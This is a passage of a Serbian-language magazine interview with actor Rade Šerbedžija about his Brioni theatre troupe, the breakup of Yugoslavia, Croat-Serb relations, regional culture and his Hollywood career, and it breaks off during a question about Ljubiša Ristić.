INTERVJU, ŠERBEDŽIJA: Priznajem, kriv sam

U Jugoslaviji smo živeli jedan život gde smo se ponašali neodgovorno prema svojim obavezama, prema svetu u kom smo živeli, sve smo ostavili da neko drugi za nas uradi. Tako da smo živeli zapravo na veresiju u toj lepoj zemlji. Sada smo u drugoj situaciji, sada je iza nas prošlo jedno vreme, prošla je tragedija. Sada se oni koji su preživeli osećaju odgovornim za ono što se dogodilo. Pa čak i onda kad su potpuno nevini, kao što ja mislim za sebe da jesam

Kada imate priliku za susret i razgovor sa Radetom Šerbedžijom onda ni razdaljina od 650 kilometara ne predstavlja nikakav problem. Sednete u automobil i pravac - Brioni. A ovo jadransko ostrvo je možda i najinspirativnije mesto za priču sa glumačkom legendom bivše velike države. Tačno pre pola veka na čuvenom Plenumu Tito i partija su ovde lomili dalju sudbinu SFRJ. Znamo šta se zatim desilo... Pedeset godina kasnije more isto miriše. Baštenski sto i tri stolice u hladu maslina, tik uz obalu. Sedamo kao na nekakvu improvizovanu scenu. Nema kamera, ali uključujemo diktafon.
Brioni su jedan od najzvučnijih simbola nekadašnje Jugoslavije, zemlje u kojoj je vaša glumačka generacija stasala i napravila najznačajnije uloge. Ovo je 16. leto koje provodite tu sa svojom pozorišnom trupom, koliko za vas to znači?
- Pa strašno mi puno znači jer je to, kako da kažem, građenje jednog teatra. Od 2001. do sad to je 16 godina teatra "Ulisis". To je ozbiljna brojka za jedan teatar. Naročito kad govorimo o teatru koji je nastao zapravo ni iz čega, zapravo bez učešća države u finansiranju, koji je nastao gotovo disidentski.
Predstava koju svake godine ovde postavljate je Šekspirov "Kralj Lir". Tu dramu sigurno niste slučajno izabrali, koliko ona ima veze sa svim onim što se pre 25 godina dogodilo na ovim prostorima?
- "Kralj Lir" je bio zajednički izbor mene i mog velikog prijatelja Borislava Vujčića, jednog sjajnog pisca koji je zajedno sa mnom osnivač teatra "Ulisis". Nažalost, on je umro pre 10 godina. Osnovali smo ovaj teatar sa "Kraljem Lirom", sa velikom Šekspirovom tragedijom, i danas kad razmišljam o tome nije se ni moglo drugim komadom otvoriti. Naročito tih godina, naročito posle svega, posle smrti jedne zemlje u kojoj smo živeli i cele te kataklizme i katastrofe koja se odvijala u tim godinama i s tim narodom i tom narodu. "Kralj Lir" je zaista najispravnija drama koja je tu legla i održala se već 16 godina. To je jako dobro postavljena predstava, režirala ju je moja žena Lenka Udovički. Ona je iskoristila nekoliko lokacija u toj tvrđavi, tako da je kompletna atrakcija uopšte doći i videti taj komad.
Ove godine je bilo dosta političkih turbulencija u Hrvatskoj, na vlasti je bio HDZ. Koliko to utiče na vaše pozorište ovde, da li ste podržani na pravi način?
- Pa, nismo podržani ove godine iz nekoliko razloga. Prvi razlog je taj što je zaista teško vreme finansijski i što vlada Hrvatske, uostalom kao i svih drugih država u ovom regionu, reže tamo gde stigne. A naročito u kulturi jer misli da se od toga ne živi. A i najmanji je otpor u kulturi, šta ćeš. Tako da nismo podržani. Dobili smo trećinu sredstava od onih koje smo prošlih godina dobijali, a to je malo. Ali mi imamo jednu dobru stvar, a to je da imamo publiku. Naše predstave su pune, kod nas nema gratis karte, ja ako treba da dovedem nekog na predstavu, kupim za njega kartu. Tako da je publika naš glavni sponzor. Onda imamo i još neke druge ljude, prijatelje, uspešne biznismene koji nas pomažu na račun prijateljstva, ali ne i samo prijateljstva, nego i zbog poštovanja onoga što radimo i prepoznavanja prave umetnosti. I treća stvar, vrlo bitna, jeste da pravimo dosta koprodukcija. To smo odavno počeli, pa smo ih imali sa Novim Sadom, pa sa Sarajevom i sa raznim drugim teatrima pravimo koprodukcije, a to dosta smanjuje troškove.
Verovatno vam od početka i jeste bila ideja da ovde okupljate pozorišta sa prostora bivše velike države?
- Da, uvek pozivamo nekoga, osim koprodukcija koje radimo, tako i pozivamo druge teatre. Ove godine nam kao gost dolazi Zvezdara teatar sa "Klaustrofobičnom komedijom" Dušana Kovačevića. Uvek nekog imamo, iz Beograda, Sarajeva, Ljubljane.
Kad pominjemo tu bivšu zemlju u kojoj su svi ti narodi živeli zajedno i za koju vas sigurno vezuju lepe uspomene, kako sad gledate na taj raspad i rat? Zašto se po vama sve to tako ružno odigralo?
- Živeli smo tada u nezrelim vremenima i mislim da smo bili nezrelo društvo. Bez obzira na sav svoj talenat, bez obzira na to što smo bili najbolji košarkaši na svetu, na primer, i najbolji rukometaši i najbolji vaterpolisti, te kolektivne sportove što smo igrali, bili smo potpuno nezrelo društvo. To je dokazao taj strašni rat koji je prošao kroz nas.
Kakvi smo onda sad, ako smo tada bili nezreli, postoji li uopšte odgovarajući pridev?
- Sad smo u boljoj situaciji. Zato što sada živimo život koji iziskuje odgovornost. Mi smo živeli jedan život gde smo se ponašali neodgovorno, prema svojim obavezama, prema svetu u kom smo živeli, sve smo ostavili da neko drugi za nas uradi. Da za nas upravlja, da neko drugi za nas čita knjige, da neko drugi za nas opismenjuje narod koji je ostao pola nepismen i neobrazovan. Tako da smo živeli zapravo na veresiju u toj lepoj zemlji i u tom nekom divnom vrtu, po meni, kakav je bila Jugoslavija. Ali smo živeli na veresiju. Sada smo u drugoj situaciji, sada je iza nas prošlo jedno vreme, prošla je tragedija. Sada se oni koji su preživeli osećaju odgovorno za ono što se dogodilo. Pa čak i onda kad su potpuno nevini, kao ja što mislim za sebe da sam nevin, nisam želeo taj rat, nikom nisam nažao učinio, borio sam se protiv ovih koji su vodili rat, a opet se osećam krivim.
Na koji način krivi?
- Jer nisi ništa učinio, odnosno nisi učinio još nešto što je možda moglo da se učini da se to spreči. Na kraju osećaj neke kolektivne krivice, da smo izgubili cele generacije.
Mnogo je onih koji u svim novoosnovanim državama danas uzdišu za tim vremenima u Jugoslaviji. Je li to onda zapravo žal za tim vremenom neodgovornosti, kako ste ga nazvali?
- Znate zašto je ljudima žao? Žao im je zato što smo mi živeli u jednoj humanoj državi. Za razliku od Sovjetskog Saveza, Mađarske, Poljske, Češke i svih tih socijalističkih zemalja. Mi smo živeli u jednom, kako su to znali dqa kažu, socijalizmu sa ljudskim likom. Što je i istina i toga su svi svedoci i niko ne može da laže i kaže da to nije istina. Mi smo poživeli tih 40 fantastičnih godina. Ono što je tu bitno da se kaže je da ipak imaju pravo oni ljudi koji kažu da su bili nezadovoljni.
Ko su ti ljudi?
- Takvih je manji deo. Uglavnom su nezadovoljni bili, tako ispada, oni koji su živeli neuspešne živote. Oni koji su bili loši profesori, loši pisci, loši očevi, loši ljudi. Dobili su tim ratom priliku da poprave svoje živote i da ih izmene. Mnogi od tih loših ljudi su postali heroji tih ratova. Mnogi su se obogatili. Mnogi su promenili svoje živote, što je apsurdno, promenili svoje živote do te mere da su postali čak interesantni, da su nešto i napravili iz tog očaja, iz te ponuđene, kako da kažem, prilike. Iz ponuđenog drugog puta, drugog pokušaja u svom životu.
Rat je takvima, kažete, zapravo dao šansu za bolji život?
- Drugu šansu u životu im je dao, da. To je opet nešto kao i sam život, razumljivo, moguće. Neka mene zovu kako hoće, pa i jugonostalgičarom, ali ja imam prema tome samo jedan odnos, imam odnos prema svom životu. Ono kako sam ga živeo, šta sam živeo i kako sam osećao svoj život. Jednostavno, ostao sam veran svojoj mladosti.

Uglavnom su nezadovoljni bili, tako ispada, oni koji su živeli neuspešne živote. Oni koji su bili loši profesori, loši pisci, loši očevi, loši ljudi. Dobili su tim ratom priliku da poprave svoje živote i da ih izmene. Mnogi od tih loših ljudi su postali heroji tih ratova. Mnogi su se obogatili

Kad se gleda sa strane reklo bi se - Rade Šerbedžija je osvojio apsolutnu slobodu. Ne zavisi ni od koga. Kakav je vaš odnos prema pojmu slobode o kome svi toliko pričamo?
- Reći ću vam ovako... Apsolutne slobode nema, osim za one osobe koje su načete psihički i koje žive u jednom svom paralelnom svetu. Svetu bez odgovornosti. To su, na primer, šizofreničari, mnogi od njih koji nisu u bolnicama su genijalci. Genijalni su zato što je ta njihova šizofrenija preuzimanje bezgranične slobode. Ali to je uvek na štetu nečije tuđe slobode. Ako uzimaš tu svoju apsolutnu slobodu to znači da ne pristaješ ni na kakve kompromise, ne pristaješ na obaveze u svom životu prema nekim ljudima prema kojima se obavezan, recimo prema vlastitoj deci, na koncu konca i prema ženi, ona prema mužu. Apsolutna sloboda je opasan pojam. Ja bih rekao da sam bio hrabar u svojoj slobodi i preuzimanju svoje slobode. Dovoljno hrabar, dovoljno riskantan. Dovoljno na neki način disident u odnosu na život i na vlast i autoritete. Tu vidim neku svoju slobodu koju sam imao od samog rođenja.
Kako čovek dolazi do te vrste slobode o kojoj govorite?
- To se ne dobija roditeljskim vaspitanjem, dobija se nekom tvojom čistom genetikom, tvojom česticom, nukleusom ko si ti, šta si ti kao pojedinac. Nezavisno od nacije, od vere ili roditeljskog vaspitanja. U tom smislu smatram i znam da sam bio bezobrazan u životu i da sam uzimao tu slobodu sebi, za sebe i davao je sam sebi i ne kajem se zbog toga. Žao mi je što nisam mogao biti slobodniji, ali onda bih na taj način morao, kao što sam rekao, da povredim nekoga od najintimnijih članova svoje porodice. Apsolutne slobode u jednom normalnom društvu nema. Ima samo slobode. Što je opet velika stvar.
Jeste li hazarder?
- Da, jesam. U tom smislu sam slobodan čovek. Koji je ponekada zbog toga i ispaštao. Cena te vrste uvek se plaća, normalno.
Kakav je vaš odnos prema Bogu? U dobroj meri sukob na ovim prostorima je bio i verski. Kako na to gledate?
- Kao što je život ludizam i igra, tako se u životu čovek igra raznim pojmovima. Ja nisam vernik, ali ne želim nikome da dokazujem da Bog ne postoji, pa čak ni samom sebi. Kako da kažem, zar nije vera i sujeverje? Isto tako, ne govorimo o veri samo kao o Bogu, govorimo o veri kao o nečemu što otkrivamo, kao nešto što je irealno, čudesno, mistično. U tom smislu sam ja veliki vernik, jer verujem u mistiku, verujem u nerealno, verujem u čudesno. I onda izmišljam stvari, recimo, broj 17 kao broj na kojem gubim stalno na ruletu ili dobijam ponekad, broj 17 koji je bio broj jedno tri, četiri moja stana u životu. Pa nisam ga ja birao. Uđem u kuću, pogledam, "vidi, 17", uđem u London, kupimo kuću, "vidi, opet 17". Ili upoznam Miroslava Krležu, a Krleža kaže: "Moj srećni broj je broj 17" i počneš da veruješ u nešto. Pa čekaj, da sam mu rekao: "Ali dragi moj Krleža, i moj je broj 17", ispalo bi da ga imitiram ili da izmišljam.
Vi ste bili jako bliski sa režiserom i piscem Živojinom Pavlovićem. On je pred sam početak rata devedesetih u jednom svom eseju detaljno govorio o uzrocima sukoba na relaciji Hrvati-Srbi, pa kaže da iako se radi o istom narodu nesreća proizlazi iz toga što Hrvati pripadaju zapadnoj, kako je on zove kristalnoj civilizaciji, a Srbi istočnoj, amorfnoj. Kristalna je civilizacija takmičenja, organizacije, individualizma, zadovoljstva, kultova večnosti i zdravlja. Amorfna s druge strane neguje ritual, iracionalno, patrijarhalnost, to je civilizacija nužnosti, opšteg, univerzalnog. Prva po njemu u svojim kriznim stanjima vodi u fašizam, druga u komunističku revoluciju. On kaže da se zbog toga te dve ravni tako sudaraju da dolaze u večitu konfrontaciju i sukob. Kako vi to vidite, vi ste morali da napustite Hrvatsku početkom rata?
- Živojina Pavlovića obožavam i njegov sam bio verni vojnik. Uz Makavejeva, on je bio najplodniji filmski režiser u Jugoslaviji. Svi njegovi filmovi su bili fenomenalni, svaki njegov scenario je bio čista poezija, božanstvena. Bio je to uvek film s razlogom, buntovnički film, bio je uvek napola disidentski. Igrao sam glavne uloge u pet njegovih filmova i osećam se kao njegov glumac. Ne bih se suprotstavljao toj Žikinoj teoriji. Ja bih lično rekao da ono što Hrvate i Srbe čini različitim, a zapravo su isti narod, jeste religija, pravoslavna i katolička. I čini ih različitim, na neki način, kao to što kaže Žika u toj svojoj tezi o civilizaciji, to da su Srbi 500 godina živeli pod turskom okupacijom, a Hrvati i više od 500 godina pod okupacijom Italije, Austrije, Mađarske, dakle zapadnog sveta. Naravno da postoji nešto što ti preuzimaš od mentaliteta toga sveta, ali genetski smo isti. To je zapravo isti narod, isti slovenski narod, koji je živeo pod uticajem dva toliko različita mentaliteta.
Gde je po vama nastao sukob između Hrvata i Srba?
- Ne sme se zaboraviti činjenica da su 1918. godine Srbi dočekivani u Hrvatskoj kao oslobodioci i da je Jugoslavija počela kao želja naprednih mladih intelektualaca Hrvatske i njenih političara. Jer su ispravno osećali da su mali narod koji je okružen velikom Italijom, Austrijom, Nemačkom, Mađarskom i da su se osećali ugroženo da će postati koruški Hrvati, da će izgubiti svoj jezik, svoja obeležja mentaliteta, što je bila ispravna bojazan tih godina. Međutim, nesporazum među Hrvatima i Srbima bio je što su se u jednoj novostvorenoj državi Jugoslaviji vodeći Hrvati, plemići, biznismeni, novi kapitalisti, pa onda shodno tome i narod osećali neravnopravno. Jer je ipak tada Jugoslavija živela pod velikosrpskim uticajem. Onda je došao Drugi svetski rat i tu je ključ svega.
U kom smislu je Drugi svetski rat ključan?
- Ključ je Drugi svetski rat jer su tada Hrvati i Srbi zapravo prvi put ratovali jedni protiv drugih. U Prvom nisu, Hrvati su tada bili deo austrougarske vojske, a onda ih je pola odmah pobeglo Srbima, tako da su Srbe posle dočekali kao oslobodioce. Ali '41. su se sukobile religije. Tu su se prvi put desile strašne stvari, pale su velike žrtve i s jedne i s druge strane, naročito ono što su radile ustaše, kao i ono što su radili četnici.
To je izgleda nemoguće zaboraviti i oprostiti. Ima li šanse za normalne odnose?
- Pa da vam kažem jednu stvar, ja bih rekao ovako: "Ne treba nikako zaboraviti, baš zato da bi se jednom moglo oprostiti." Na osnovu novog saznanja, novog života novih ljudi, novih generacija, da bi se moglo oprostiti, a zaboraviti nikad ne treba.
Verujete li da će uskoro doći generacije koje će moći da prevaziđu taj ogromni konflikt koji i dalje preti?
- Znate šta, ja verujem. Ali opet kad čovek to govori, čovek je sam za sebe kosmos. I svet ovaj i zemaljska kugla i sve ono što se događa u tebi, to je tvoje saznanje. Tu je i tvoj Bog i tvoj đavo i sve tvoje unutar tvog jednog mozga koji imaš, ti si ta jedinka i stanica. Ja kao čovek osećam da bih mogao biti najbolji prijatelj s čovekom čiji je otac bio najveći neprijatelj mog oca. U tome je suština. A to je opet, kako da kažem, lična stvar.
Kako vam izgleda stanje u pozorištu i filmu na ovom našem regionalnom prostoru danas? Može li da se uporedi s onim iz nekadašnje države?
- Teško je o tome govoriti, uopšte komparirati tako kratko vreme. Teatar ili film i značaj teatra u vremenu ili filmu, pa to je bilo samo pre 25 godina, to nije ništa, teško je to napraviti. Međutim, činjenica je jedno - za pravi teatar i za pravi film treba imati mecenu koja stoji iza tebe. Ponekad se dešava da je mecena okrutan, pa da recimo ne da pare, ali su takva vremena i takav život u teatru da onda teatar nastaje iz inata i umetnosti. Kao što se dešavalo u Češkoj za vreme ruske okupacije da su imali fenomenalan teatar. Međutim, ipak se u biti radi, kako da kažem, kao kad govorimo o Periklovom dobu. Zašto su tamo iz Periklovog doba najbolji skulptori, najbožanstvenije drame, tragedije, tad je bilo najbogatije vreme u kojem su živeli Grci, zlatno vreme. Tako je potrebno za sveobuhvatnu umetnost u koju spadaju i muzeji i raznorazne stvari, izložbe, muzike, teatar, film, potrebna je jedna snažna država koja je svesna svoje obaveze da ulaganje u kulturu znači profit te države i prosperitet. Mi smo imali taj jugoslovenski socijalizam koji je bio takav kakav je bio, imali smo i situacije u kojima su filmovi zabranjivani i predstave zabranjivane, ali smo imali mnogo slučajeva gde smo imali isto tako kritičarskih filmova na vlast i na sistem koji nikad nisu zabranjivani i osvajali su glavne nagrade na svetskim festivalima. Dakle, ta država je ipak davala za kulturu. U današnje vrijeme je to najveći problem, što nema dovoljno love da se da za filmove koje bi ti mladi ljudi hteli da snimaju. Još je teatar i moguće raditi u siromaštvu, a film teško. To mi je najtužnije gledati, ovu situaciju u Srbiji gde ljudi potpuno besplatno rade filmove. To je strašno. Ovde bar ne rade besplatno, mali su budžeti, al tamo znam da za 100.000 evra naprave film, to je strašno. I to naravno, ako nema neke posebne sreće, onda rezultira zapravo i nedovoljno dobrim filmovima, tehnički i svakako. Svedoci smo izvanrednih talenata, i režisera i glumaca i glumica i slikara i pisaca. Samo je stvar u tome da li će ti fantastični talenti proživeti svoj zlatni vek, svoje najbolje umetničke godine uz dobru trpezu ili na soli i kruhu.
Vi ste sad učestvovali u ovoj seriji koja je izašla iz filma "Bićemo prvaci sveta". Koliko su takvi projekti koji objedinjuju šire tržište korisni, kako gledate na to? Koliko ti filmovi i takve serije mogu da budu dobri?
- To naravno može biti dobro. Ali vrlo često u tim sredinama gde ljudi gaje pamćenja za neko bivše zajedničko vreme ipak više vole da gledaju lokalne priče, pa vole da pogledaju izrazito crnogorski film ili izrazito srbijanski sa svojim dijalektom, kao što ovi vole da pogledaju izrazito dalmatinski film bez ikakvog zajedništva i zajedničkih iskustava. Tako je i pre bilo, tako se i pre radilo. Mi moramo učiniti sve da živimo kao dobri susedi.
Uz kulturnu, tu je važna i privredna saradnja?
- Tako je. Mene je jednom pozvala svastika Kori Udovički, i sada srpska ministarka, ona i jedna njena prijateljica su me pozvale tada u Kragujevac ako se dobro sećam, gde su tražile da dođem sa svojim koncertom. Ja sam došao da im pevam, oni su imali savetovanje malih privrednika s područja bivše Jugoslavije. Sakupili su ljude koji su uspešni biznismeni u svojim sredinama i tema je bila na koji način i kako da mi van državnih politika, van evropskih politika napravimo ponovo internu saradnju trgovine između naših preduzeća, da ovi proizvode staklo, ovi gvožđe, pa montiraju tamo negde, da se prave koprodukcije i to je fantastična stvar. Tako bi trebalo da izgleda život ovde.

Ne bavim se politikom niti pratim srpske političare, osim svoje svastike Kori. To moram, ha ha. Ali kad god dođem u Beograd, a naročito poslednjih godina, meni se čini da je sve bolje i bolje

Kad to pominjemo, kako vam izgleda Srbija danas? Na putu za Evropsku uniju od koje očekujemo da ćemo konačno da vidimo i malo sunca. Kako vidite sadašnje stanje u Srbiji i uopšte njenu perspektivu?
- Ne znam kako da odgovorim na to pitanje. Ne bavim se politikom niti pratim srpske političare, osim svoje svastike Kori. To moram, ha ha. Od nje slušam gde, šta, šta radi, šta predlaže, ali kad god dođem u Beograd, a naročito poslednjih godina, meni se čini da je sve bolje i bolje. Neki čudan paradoks. Sve bolje i bolje.
Po čemu to, na primer, vidite?
- Pa po raspoloženju naroda, po onome kako se živi. I sve razmišljam da li je to možda osobina tog srpskog naroda da se zna boriti s nevoljom, sa životnom nevoljom?! Način kako da preživi. Možda. Ja kao čovek sa strane koji imam dovoljno para odem u Beograd u najbolje restorane, koji su svi fantastični, i nisam dobar da procenjujem. Ali opet, vidim raja se smeje, u svojoj glavi dobro živi uprkos svemu što je prošla, što ju je zadesilo od bombardovanja Beograda do ne znam čega.
Na osnovu čega upoređujete?
- Kako da kažem, to je moja impresija, to ne mora biti istina gledajući svet. Sećam se '92. godine, sećam se kad se zaista situacija očitavala na licima ljudi, sećam se tužnih, zabrinutih ljudi, poniženih ljudi. A kako da kažem, danas kad idem znam da je opet teško, ali opet neki đavo se događa, nije haos u zemlji, to želim da kažem. Pa iako se dogodi haos, ja mislim da će se dogoditi pre u nekim drugim delovima bivše Jugoslavije negoli u Srbiji.
Na koga mislite, na Makedoniju ili Bosnu, Hrvatsku?
- I na Makedoniju, ali manje na Makedoniju, opet zato što su Makedonci slični Srbima, oni znaju da žive sa nevoljom, što opet govori o ovih 500 godina života pod Turcima. Živeti u velikoj nevolji i preživljavati.
Mislite da je to prednost?
- O tome vam govorim, o tom instinktu srpskog naroda. Za razliku od drugih delova, na primer, naročito Slovenija, Hrvatska, gde su ljudi naviknuti da imaju. Kad pogledate samo sve ovo, Dalmaciju kad pogledate, obalu, te zgrade. Opet je to drugi način života. Kaže moj otac: "E, moj sine, ovi Hrvati ješće komad kruha, ali bela košulja i kravata moraju da budu u nedelju, a ovi naši Srbi pet dana Bog ih vidi u jednoj košulji, ali kilo jagnjetine mora biti na stolu, da ga jebeš!" Ali ima u tome nešto. Kao što, recimo, zamisli kakvu bi Srbija imala rivijeru tamo uz Dunav ili ne znam šta, da Srbi nisu toliko voleli kafane. E, to je ono sad o čemu Žika Pavlović govori. E tu je razlika, drukčiji mentalitet, ovde štedljiviji ljudi, znaju da šparaju, a opet to je i religija takva i religija tu udara po prstima. A kod nas su ponekad najveće bekrije sveštenici. I to je ta razlika u mentalitetu i religiji. Al zato vidiš taj srpski čovek, on neće očajavati, ako mu je teško kaže: "Ma snaći ću se, posudiću, idem tamo, zaradiću ovamo, biće za lebac!"
Opet se vraćamo Živojinu Pavloviću. On kaže: "Srbi ne pristaju na ideju o večnom životu, njih to plaši, oni to ne žele!"
- To je lepo rekao, tako je, da. I to je ta razlika. To je tačno.
Nedavno je iz štampe u Hrvatskoj, u izdanju kuće VBZ, izašla nova knjiga vaše poezije "Stranac". U predgovoru knjige piše da je zajedničko glumcu i pesniku da su u posedu imaginacije. Kako je to posedovati imaginaciju?
- Kako da vam kažem, gledajte, ja obično volim za sebe da kažem da nisam pesnik kad me pitaju za to, iako sam objavio tri knjige pesama, ovo je četvrta. Kažem da nisam pesnik jer nisam pesnik od zanata, to znači nisam čovek koji bdi nad rečima, koji bdi nad rimom, koji prati poeziju, njena kretanja. Naravno, čitam poeziju, volim da čitam poeziju, ali iz mene poezija izlazi na jedan drugi način. Najpre je izlazila kao moje propratno razmišljanje i koncentraciju na teatar, iz detinjstva i mladosti izašao je neki osnovni poetski talenat kog nisam posle razvijao literarno jer sam se bavio glumom i teatrom. Ali sam onda počeo da pišem pesme na svoj način. A pesma je dobra kad je napisana na svoj način. Kad to izlazi iz tebe, kad imaš svoju neku određenu metriku koju si sam sebi odredio, ali nije to određeno, to je osluškivanje tvog pulsa. Svaka poezija ima u sebi otkucaje srca pesnika. Kao Dis, na primer. On je meni jedan od dražih pesnika. Nesavršen u svom stilu. Toliko je bio talentovan, zapravo poseban.
Imate pesmu u kojoj govorite o tom drugom čoveku u vama, o unutrašnjem dijalogu s tim čovekom. Da li smatrate da svako ima svog dvojnika u sopstvenom kosmosu od koga bi ponekad pobegao?
- Pa to je moja igrarija sa samim sobom. S nekim svojim unutrašnjim ja i s onim s kojim se predstavljam u životu. I ako želim da budem iskren, mislim da ponajčešće jesam taj jedan unutrašnji ja, taj jedan koji je blizu šizofrenije, taj moj dvojnik koji me nagoni na ludila i koji bi sa mnom da diskutuje i razgovara. Ali ne mogu za njim jer kad bih za njim išao trčao bih za svakom suknjom koju vidim, koja je lepa. Ali ne mogu jer sam iskreno zaljubljen u svoju ženu i volim je. Ali opet, kad bih išao do kraja u tu slobodu, šta je onda to?!
Taj dvojnik bi, kažete, stalno da priča o prošlosti, mislite li da je ta prošlost nešto što nas zaista suviše opterećuje, možemo li prošlost nekako malo gurnuti po strani i probati da živimo manje opterećeni njom, što se tiče svih ovih dešavanja kod nas, a i na ličnom planu?
- Čovjek ne može pobeći od svoje prošlosti, ne može pobeći iako ih ima mnogo koji bi to želeli. Ja sa zadovoljstvom gledam u to kako se stvari menjaju na ovim prostorima. Kako se granice otvaraju, uvode se nove avionske linije. Pravimo koprodukcije predstava i filmova. Ući će brzo Srbija u Evropu, ako Evropa preživi, ući će brzo i Bosna, granica više neće biti. Šta ćemo onda? Slobodna zemlja, putuj, hodaj.
Evropa bi zaista mogla opet da nas ujedini?
- Onaj ko će voleti da putuje preko tih zamišljenih granica biće ponovo srećan čovek. Onaj ko neće voleti da putuje preko zamišljenih granica, on ih nikad neće izbrisati iz svoje glave niti će putovati. Mladi ljudi će putovati. Za jedno dvadeset godina sve će se promeniti. Mladi ljudi će apsolutno hrliti iz Hrvatske u Beograd i iz Srbije na ovo Jadransko more. Sve će se promeniti.
A kako vam izgleda Evropa danas, Britanci su izašli, u toku je ozbiljna kriza evropskog identiteta? Šta možemo tu da očekujemo?
- Evo šta može da se desi. Može da se desi da se, recimo, produbi jaz između naroda jačanjem desnice u Evropi i jačanjem ovakvih nekih fašističkih ideologija, bezumnih politika. Takvi trendovi mogu usporiti društvene i ekonomske promene na ovim prostorima. Mogu ih usporiti rađanjem nekih novih mladih ljudi koji će biti desničari, pa samim tim zastupati te neke rasističke, nacionalističke politike. I u tom smislu se mogu na neki način odupirati, ali opet pitanje je sada mladih ljudi do koje će mere moći da pristanu na to i do koje će mere mladi ljudi postajati revolucionari u nekom smislu da traže drukčiji svet u kojem hoće da žive. Da li će to pasti na ovu pomodnost poslednjih godina da toliko mladih ljudi napušta ove krajeve i beži u svet. I mnogi odlaze što dalje, Novi Zeland, Australija, Kanada, ako se to dogodi onda se slabo piše ovim krajevima, jako slabo.

Sa zadovoljstvom gledam u to kako se stvari menjaju na ovim prostorima. Kako se granice otvaraju

Mladi ljudi s naših prostora se jako dobro snalaze u inostranstvu?
- Ovaj naš narod je, bez obzira na to što je ispao tako grozan i primitivan, talentovan, jednostavno talentovan. Gledajući sve, gledajući sport, gledajući nauku, umetnost. Ti naši mladi stručnjaci, doktori, inženjeri, mi smo imali jako dobro obrazovanje. Još uvek imamo, uprkos svemu. I to je nešto vrlo bitno. Mi proizvodimo radnu snagu i izvozimo u Evropu i svet. Zamisli taj svet koji nije plaćao za te studente, dinara jednog, on dobije sve te doktore, inženjere, pravnike, dobije ih sa pravom diplomom. Valjda su sad toliko pameti naučili da će sad i naše medicinare u Kanadi potpisivati, priznavati im sertifikate.
Vi ste čovek koji je toliko toga napravio na filmu. Kako stoji vaša karijera tamo u Holivudu? Vi ste imali mnogo velikih uloga, kako gledate na to?
- E, ovako gledam na to. Ja sam na Zapadu radio i još uvek radim iako ne previše, jer sam se preselio iz Los Anđelesa u Rijeku, malo sam se umorio da živim tamo u stranom svetu, zaželeo sam se ovog Jadranskog mora, te blizine, rekoh sebi - pa čekaj.
Jel' ovde lepši život?
- Ma kako ne bi bio lepši, ma ko ovo može uporediti s bilo čim tamo.
A šta tamo ne postoji što ovde imate?
- Pa ne postoji ovaj moj brlog, moja pećina ne postoji. Ovo je moja pećina tu gde sam ja. Najbliža, najintimnija moja pećina, Lika gde sam rođen.
Jel' idete tamo?
- Ujak mi je tamo, jedan bratić i sestrić. Odem ja, odem pa prođem na jedan dan, ne ostanem da spavam, ne bih mogao.
Kako je to kada se izmaknete iz tog glamuroznog sveta Holivuda i izađete dobrovoljno i kažete: "Dobro, to je bilo to, ja bih ipak ovde odakle sam." Kako uspevate to sami sa sobom da rešite? Jeste li se svađali sa dvojnikom oko toga?
- Pa ja stvarno ne mogu da se požalim na svoju internacionalnu karijeru, napravio sam nekoliko velikih filmova, dobio mnoge nagrade na vrhunskim festivalima, igrao sa najvećim režiserima, glumcima. Šta drugo imaš tražiti? Ništa. Činjenica je da sam to počeo sa svojih 46 godina, jer da sam počeo sa 20 ja možda sad ne bih ovde s vama sedio, možda se ne bih nikad vratio. Ali kad sam počeo sa 46 to su neke stvari, kako da kažem, neka ograničenja. Jer teško je dobiti u stranom filmu, u velikom američkom filmu, glavnu ulogu ako si stariji od 40 godina. Osim ako nešto nije posebno. Ali da gradiš karijeru kao glavni glumac, da postaneš u svetu Bred Pit ili Tom Kruz, to moraš početi kao mlad čovek. Inače, ovako možeš biti samo priznat od njih svih, kao što ja jesam priznat i oni kad god me vide žele sa mnom da rade ponovo, ali to je to, to je taj status.
Čini se da i ti najveći holivudski glumci često učestvuju u nekim "sumnjivim" projektima?
- Svi ti glumci, i Tom Kruz i Bred Pit, ma svi, i Šarliz Teron, sa kojom sam radio, i Anđelina Džoli, svi na neki način rade kompromise. Naprave nekoliko vrhunskih filmova, onda rade u nekim filmovima za koje kažeš: "Šta je bre ovo?", radio je zbog para, radio je zbog ovoga, radio je zbog onoga, zbog režisera nekog, itd. Dakle, to je sve kompromis. Takav je i moj slučaj, ja sam radio sa Kjubrikom, jednim od najvećih režisera na svetu i radio sam nekoliko tih filmova kao što je "The Snatch", komedija neka zajebantska, ali opet uspešan film. Onda sam radio neke filmove koje možda i ne bi trebalo raditi, ali sam radio i zbog para, iskreno govoreći, a šta da radiš. Ali opet, nisam nikada prekoračio da sam igrao "šit" nekakav, sranje neko, to nisam, ali da sam radio neke filmove koji nisu imali svoju visinu i posebnost, to je istina.
Zoran Radmilović je svojevremeno govoreći o američkim i ruskim glumcima govorio da su i jedni i drugi naravno vrhunski, ali da kod ruskih postoji ta neka "iskra u oku" koja ipak pravi tu malu razliku. Kako vi to vidite?
- Mogao bih da se složim sa svojim prijateljem Zoranom samo ako bismo razgovarali o teatru. Onda bih rekao da što se tiče teatra, mislim da je ruski najbolji na svetu. To je nešto u vezi s nekom dalekom kulturom i posebnim tretmanom teatra u Rusiji, naročito u doba te revolucije Čehova i Stanislavskog koji su napravili taj sistem, koji su napravili to čudo u sistemu glume. Taj sistem su preuzeli i Amerikanci posle toga i o tome se radi. Ali što se tiče filma, tu ne vidim nikakve razlike, pa čak i teatra današnjih vremena jer čak i u teatru današnjih vremena je vrlo teško razlučiti da li je primat još uvek ruskog teatra ili je primat otišao u Nemačku. Oni se po meni danas bave možda najinteresantnijim teatrom.
Vi ste kroz pozorišnu i filmsku karijeru gajili jedan poseban senzibilitet. Kako biste sebe opisali kao glumca?
- Moj senzibilitet je naginjao prema nekom buntovništvu, uvek napola disident. Tražio sam istinu, borio se za istinu i pravdu, to sam najviše voleo.
U jednom od prethodnih brojeva Ekspresa razgovarali smo sa rediteljem Ljubišom Ristićem, vas dvojica ste nekada blisko sarađivali i bili ste prijatelji. Gde je došlo do razilaženja između vas?
